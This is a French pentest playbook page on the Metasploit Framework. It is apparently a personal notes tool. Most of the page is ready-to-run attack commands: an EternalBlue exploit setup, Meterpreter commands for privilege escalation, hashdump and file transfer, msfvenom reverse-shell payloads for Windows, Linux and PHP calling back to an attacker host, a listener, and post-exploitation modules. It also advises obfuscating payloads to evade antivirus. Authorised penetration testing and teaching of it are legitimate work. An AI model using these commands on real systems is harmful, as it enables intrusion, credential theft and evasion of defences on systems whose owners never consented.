MDstable
NoteSnippetChecklistPlaybook

Metasploit Framework

Guide complet Metasploit : workflow, modules, Meterpreter, msfvenom, post-exploitation

playbookintermediate 2026-05-10 2 min read
metasploitexploitationpentestmeterpretermsfvenom

Objectifs

Utiliser Metasploit pour exploiter des vulnérabilités identifiées et établir un accès.

⚠ Attention — Utiliser uniquement sur des cibles autorisées. Documenter chaque exploit lancé avec timestamp.

Workflow de base

bash
Variables
{{TARGET}}
{{LHOST}}
{{LPORT}}
# Lancer msfconsole
msfconsole -q
# Rechercher un module
search typeexploit nameeternalblue
search cve2021-44228
search platformwindows rankexcellent
# Configurer et lancer
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS {{TARGET}}
set LHOST {{LHOST}}
set LPORT {{LPORT}}
check
run

Gestion des sessions Meterpreter

bash
# Sessions
sessions -l
sessions -i 1
sessions -u 1
background
# Commandes essentielles
sysinfo
getuid
getsystem
hashdump
ps
migrate 1234
shell
screenshot
download filetxt /tmp/
upload shellexe CWindowsTemp

Msfvenom — Payloads

bash
Variables
{{LHOST}}
{{LPORT}}
# Windows exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}} -f exe -o shellexe
# Linux elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}} -f elf -o shellelf
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}} -f raw -o shellphp
# Listener
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST {{LHOST}}
set LPORT {{LPORT}}
exploit -j

Post-exploitation modules

bash
run post/multi/recon/local_exploit_suggester
run post/windows/gather/hashdump
run post/windows/gather/enum_applications
run post/multi/gather/ping_sweep RHOSTS19216810/24
Checklist Metasploit0/7

Pièges fréquents

  • Antivirus : les payloads msfvenom sont détectés — utiliser un encoder ou obfuscation
  • Arch : vérifier x86 vs x64 avant de générer un payload
  • Firewall : si reverse_tcp bloqué, essayer reverse_https sur port 443
  • Cleanup : supprimer TOUS les artefacts après pentest
OPS·BRAIN v1.075 notes · Securitylocal